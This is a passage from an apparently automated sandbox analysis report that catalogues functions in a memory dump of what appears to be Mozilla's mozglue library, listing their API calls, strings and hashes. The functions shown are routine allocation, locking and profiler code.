Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

name, xrefs: 6C9B1939
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

-%llu, xrefs: 6C9A4733
profiler-paused, xrefs: 6C9A46E4
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

-%llu, xrefs: 6C9A4733
profiler-paused, xrefs: 6C9A46E4
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
